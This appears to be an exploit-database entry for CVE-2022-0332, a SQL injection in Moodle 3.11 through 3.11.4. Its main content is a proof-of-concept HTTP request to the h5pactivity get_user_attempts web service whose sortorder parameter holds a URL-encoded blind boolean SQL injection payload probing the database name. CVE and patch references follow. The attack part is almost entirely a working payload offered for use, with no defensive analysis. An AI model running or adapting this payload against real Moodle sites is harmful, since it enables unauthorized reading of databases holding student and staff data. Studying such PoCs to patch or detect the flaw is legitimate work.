Moodle 3.11.4 SQL Injection

`# Exploit Title: Moodle 3.11.4 - SQL Injection  
# Date: 30/01/2022  
# Exploit Author: lavclash75  
# Vendor Homepage: https://moodle.org/  
# Version: Moodle 3.11 to 3.11.4  
# CVE: CVE-2022-0332  
# POC  
  
```  
GET /moodle-3.11.4/webservice/rest/server.php?wstoken=98f7d8003180afbd46ee160fdc05a4fc&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&sortorder=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C4%2C1%29%29%3E104%29%20THEN%20%27%27%20ELSE%20%28SELECT%205080%20UNION%20SELECT%204100%29%20END%29%29 HTTP/1.1  
Cache-Control: no-cache  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0  
Host: local.numanturle.com  
Accept: */*  
Accept-Encoding: gzip, deflate  
Connection: close  
  
```  
  
```  
  
```  
  
![PHP](img/orderby.jpg?raw=true "PHP")  
![PHP](img/uri.jpg?raw=true "PHP")  
![PHP](img/sqlmap.jpg?raw=true "PHP")  
  
# Reference  
* [CVE-2022-0332](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0332)  
* [Git](https://git.moodle.org/gw?p=moodle.git;a=blobdiff;f=mod/h5pactivity/classes/external/get_user_attempts.php;h=8a27f821bc37f20bafaba6ef436871717b3817a3;hp=216653e93315c4d8ca084fe1e62b2041dece4531;hb=c7a62a8c82219b50589257f79021da1df1a76808;hpb=2ee27313cea0d7073f5a6a35eccdfddcb3a9adad)  
`